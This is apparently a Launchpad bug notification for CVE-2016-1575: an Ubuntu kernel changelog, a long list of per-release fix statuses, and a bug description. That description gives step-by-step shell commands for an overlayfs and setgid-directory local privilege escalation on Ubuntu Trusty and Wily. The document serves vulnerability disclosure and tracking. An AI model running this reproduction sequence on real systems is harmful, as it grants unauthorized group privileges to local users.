This bug was fixed in the package linux - 4.8.0-11.12
---------------
linux (4.8.0-11.12) yakkety; urgency=low
* change_hat is logging failures during expected hat probing (LP: #1615893)
- SAUCE: apparmor: Fix auditing behavior for change_hat probing
* deleted files outside of the namespace are not being treated as
disconnected
(LP: #1615892)
- SAUCE: apparmor: deleted dentries can be disconnected
* stacking to unconfined in a child namespace confuses mediation
(LP: #1615890)
- SAUCE: apparmor: special case unconfined when determining the mode
* apparmor module parameters can be changed after the policy is locked
(LP: #1615895)
- SAUCE: apparmor: fix: parameters can be changed after policy is locked
* AppArmor profile reloading causes an intermittent kernel BUG (LP:
#1579135)
- SAUCE: apparmor: fix vec_unique for vectors larger than 8
* label vec reductions can result in reference labels instead of direct
access
to labels (LP: #1615889)
- SAUCE: apparmor: reduction of vec to single entry is just that entry
* profiles from different namespaces can block other namespaces from being
able to load a profile (LP: #1615887)
- SAUCE: apparmor: profiles in one ns can affect mediation in another ns
* The label build for onexec when stacking is wrong (LP: #1615881)
- SAUCE: apparmor: Fix label build for onexec stacking.
* The inherit check for new to old label comparison for domain transitions
is
wrong (LP: #1615880)
- SAUCE: apparmor: Fix new to old label comparison for domain transitions
* warning stack trace while playing with apparmor namespaces (LP: #1593874)
- SAUCE: apparmor: fix stack trace when removing namespace with profiles
* __label_update proxy comparison test is wrong (LP: #1615878)
- SAUCE: apparmor: Fix __label_update proxy comparison test
* reading /sys/kernel/security/apparmor/profiles requires CAP_MAC_ADMIN
(LP: #1560583)
- SAUCE: apparmor: Allow ns_root processes to open profiles file
- SAUCE: apparmor: Consult sysctl when reading profiles in a user ns
* policy namespace stacking (LP: #1379535)
- SAUCE: (no-up) apparmor: rebase of apparmor3.5-beta1 snapshot for 4.8
- SAUCE: add a sysctl to enable unprivileged user ns AppArmor policy loading
* Miscellaneous Ubuntu changes
- [Debian] Dynamically determine linux udebs package name
- [Debian] d-i -- fix dtb handling in new kernel-wedge form
- SAUCE: apparmor: Fix FTBFS due to bad include path
- SAUCE: apparmor: add data query support
- [Config] Set CONFIG_SECURITY_APPARMOR_UNCONFINED_INIT=y
* Miscellaneous upstream changes
- fixup backout policy view capable for forward port
- apparmor: fix: Rework the iter loop for label_update
- apparmor: add more assertions for updates/merges to help catch errors
- apparmor: Make pivot root transitions work with stacking
- apparmor: convert delegating deleted files to mediate deleted files
- apparmor: add missing parens. not a bug fix but highly recommended
- apparmor: add a stack_version file to allow detection of bug fixes
- apparmor: push path lookup into mediation loop
- apparmor: default to allowing unprivileged userns policy
- apparmor: fix: permissions test to view and manage policy
- apparmor: Add Basic ns cross check condition for ipc
-- Leann Ogasawara <leann.ogasaw...@canonical.com> Sat, 17 Sep 2016
10:03:16 -0700
** Changed in: linux (Ubuntu Yakkety)
Status: Fix Committed => Fix Released
--
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Matching subscriptions: Ubuntu 16.04 Bugs
https://bugs.launchpad.net/bugs/1534961
Title:
CVE-2016-1575
Status in linux package in Ubuntu:
Fix Released
Status in linux-armadaxp package in Ubuntu:
Invalid
Status in linux-flo package in Ubuntu:
New
Status in linux-goldfish package in Ubuntu:
New
Status in linux-lts-quantal package in Ubuntu:
Invalid
Status in linux-lts-raring package in Ubuntu:
Invalid
Status in linux-lts-saucy package in Ubuntu:
Invalid
Status in linux-lts-trusty package in Ubuntu:
Invalid
Status in linux-lts-utopic package in Ubuntu:
Invalid
Status in linux-lts-vivid package in Ubuntu:
Invalid
Status in linux-lts-wily package in Ubuntu:
Invalid
Status in linux-lts-xenial package in Ubuntu:
Invalid
Status in linux-mako package in Ubuntu:
New
Status in linux-manta package in Ubuntu:
Invalid
Status in linux-raspi2 package in Ubuntu:
Invalid
Status in linux-snapdragon package in Ubuntu:
Invalid
Status in linux-ti-omap4 package in Ubuntu:
Invalid
Status in linux source package in Precise:
New
Status in linux-armadaxp source package in Precise:
New
Status in linux-flo source package in Precise:
Invalid
Status in linux-goldfish source package in Precise:
Invalid
Status in linux-lts-quantal source package in Precise:
Invalid
Status in linux-lts-raring source package in Precise:
Invalid
Status in linux-lts-saucy source package in Precise:
Invalid
Status in linux-lts-trusty source package in Precise:
Fix Released
Status in linux-lts-utopic source package in Precise:
Invalid
Status in linux-lts-vivid source package in Precise:
Invalid
Status in linux-lts-wily source package in Precise:
Invalid
Status in linux-lts-xenial source package in Precise:
Invalid
Status in linux-mako source package in Precise:
Invalid
Status in linux-manta source package in Precise:
Invalid
Status in linux-raspi2 source package in Precise:
Invalid
Status in linux-snapdragon source package in Precise:
Invalid
Status in linux-ti-omap4 source package in Precise:
New
Status in linux source package in Trusty:
Fix Released
Status in linux-armadaxp source package in Trusty:
Invalid
Status in linux-flo source package in Trusty:
Invalid
Status in linux-goldfish source package in Trusty:
Invalid
Status in linux-lts-quantal source package in Trusty:
Invalid
Status in linux-lts-raring source package in Trusty:
Invalid
Status in linux-lts-saucy source package in Trusty:
Invalid
Status in linux-lts-trusty source package in Trusty:
Invalid
Status in linux-lts-utopic source package in Trusty:
Fix Released
Status in linux-lts-vivid source package in Trusty:
Fix Released
Status in linux-lts-wily source package in Trusty:
Fix Released
Status in linux-lts-xenial source package in Trusty:
Invalid
Status in linux-mako source package in Trusty:
Invalid
Status in linux-manta source package in Trusty:
Invalid
Status in linux-raspi2 source package in Trusty:
Invalid
Status in linux-snapdragon source package in Trusty:
Invalid
Status in linux-ti-omap4 source package in Trusty:
Invalid
Status in linux source package in Vivid:
Fix Released
Status in linux-armadaxp source package in Vivid:
New
Status in linux-flo source package in Vivid:
New
Status in linux-goldfish source package in Vivid:
New
Status in linux-lts-quantal source package in Vivid:
New
Status in linux-lts-raring source package in Vivid:
New
Status in linux-lts-saucy source package in Vivid:
New
Status in linux-lts-trusty source package in Vivid:
New
Status in linux-lts-utopic source package in Vivid:
New
Status in linux-lts-vivid source package in Vivid:
New
Status in linux-lts-wily source package in Vivid:
New
Status in linux-lts-xenial source package in Vivid:
New
Status in linux-mako source package in Vivid:
New
Status in linux-manta source package in Vivid:
New
Status in linux-raspi2 source package in Vivid:
New
Status in linux-snapdragon source package in Vivid:
New
Status in linux-ti-omap4 source package in Vivid:
New
Status in linux source package in Wily:
Fix Released
Status in linux-armadaxp source package in Wily:
Invalid
Status in linux-flo source package in Wily:
New
Status in linux-goldfish source package in Wily:
New
Status in linux-lts-quantal source package in Wily:
Invalid
Status in linux-lts-raring source package in Wily:
Invalid
Status in linux-lts-saucy source package in Wily:
Invalid
Status in linux-lts-trusty source package in Wily:
Invalid
Status in linux-lts-utopic source package in Wily:
Invalid
Status in linux-lts-vivid source package in Wily:
Invalid
Status in linux-lts-wily source package in Wily:
Invalid
Status in linux-lts-xenial source package in Wily:
Invalid
Status in linux-mako source package in Wily:
New
Status in linux-manta source package in Wily:
New
Status in linux-raspi2 source package in Wily:
Fix Released
Status in linux-snapdragon source package in Wily:
Invalid
Status in linux-ti-omap4 source package in Wily:
Invalid
Status in linux source package in Xenial:
Fix Released
Status in linux-armadaxp source package in Xenial:
Invalid
Status in linux-flo source package in Xenial:
New
Status in linux-goldfish source package in Xenial:
New
Status in linux-lts-quantal source package in Xenial:
Invalid
Status in linux-lts-raring source package in Xenial:
Invalid
Status in linux-lts-saucy source package in Xenial:
Invalid
Status in linux-lts-trusty source package in Xenial:
Invalid
Status in linux-lts-utopic source package in Xenial:
Invalid
Status in linux-lts-vivid source package in Xenial:
Invalid
Status in linux-lts-wily source package in Xenial:
Invalid
Status in linux-lts-xenial source package in Xenial:
Invalid
Status in linux-mako source package in Xenial:
New
Status in linux-manta source package in Xenial:
Invalid
Status in linux-raspi2 source package in Xenial:
Invalid
Status in linux-snapdragon source package in Xenial:
Invalid
Status in linux-ti-omap4 source package in Xenial:
Invalid
Status in linux source package in Yakkety:
Fix Released
Status in linux-armadaxp source package in Yakkety:
Invalid
Status in linux-flo source package in Yakkety:
New
Status in linux-goldfish source package in Yakkety:
New
Status in linux-lts-quantal source package in Yakkety:
Invalid
Status in linux-lts-raring source package in Yakkety:
Invalid
Status in linux-lts-saucy source package in Yakkety:
Invalid
Status in linux-lts-trusty source package in Yakkety:
Invalid
Status in linux-lts-utopic source package in Yakkety:
Invalid
Status in linux-lts-vivid source package in Yakkety:
Invalid
Status in linux-lts-wily source package in Yakkety:
Invalid
Status in linux-lts-xenial source package in Yakkety:
Invalid
Status in linux-mako source package in Yakkety:
New
Status in linux-manta source package in Yakkety:
Invalid
Status in linux-raspi2 source package in Yakkety:
Invalid
Status in linux-snapdragon source package in Yakkety:
Invalid
Status in linux-ti-omap4 source package in Yakkety:
Invalid
Bug description:
On Ubuntu Trusty but also Ubuntu Wily, following sequence allows to
gain group privileges of arbitrary groups that created directories
with properties to be found using "find / -perm -02020", e.g.
/usr/local/lib/python3.4 root.staff
/var/lib/libuuid libuuid.libuuid
/var/local root.staff
/var/mail root.mail
For Ubuntu Trusty, following sequence can be used to reproduce the
problem:
* In user/mount namespace:
rm -rf Mnt Test
mkdir Mnt Test
mount -t overlayfs -o lowerdir=/var,upperdir=Test overlayfs Mnt
* Outside namespace
setfacl -m d:u:[your unpriv uid]:rwx Test
* Inside:
chmod 02777 Mnt/mail
umount Mnt
* Outside:
~/CreateSetgidBinary Test/mail/escalate /bin/mount x nonexistent-arg
Test/mail/escalate ~/ReportUidGidCwd
For Ubuntu Wily:
* Inside:
mkdir Mnt Test Work
mount -t overlayfs -o lowerdir=/var,upperdir=Test,workdir=Work overlayfs Mnt
* Outside:
setfacl -m d:u::rwx,d:u:[your unpriv uid]:rwx Work/work
* Inside:
chmod 02777 Mnt/mail
umount Mnt
* Outside:
~/CreateSetgidBinary Test/mail/escalate /bin/mount x nonexistent-arg
Test/mail/escalate ~/ReportUidGidCwd
CreateSetgidBinary is from
http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
See also
http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/
(InvitedOnly/lY9yHKQj) and attached sharing policy.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1534961/+subscriptions
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